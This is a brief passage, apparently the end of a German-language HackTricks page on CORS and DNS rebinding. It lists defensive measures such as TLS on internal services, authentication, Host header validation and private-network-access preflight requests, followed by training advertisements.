Real Protection against DNS Rebinding

  • Verwende TLS in internen services
  • Erfordere Authentication für den Zugriff auf data
  • Validiere den Host header
  • https://wicg.github.io/private-network-access/: Proposal, immer eine pre-flight request zu senden, wenn public servers auf internal servers zugreifen wollen

Tools

Fuzz mögliche Misconfigurations in CORS policies

References

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks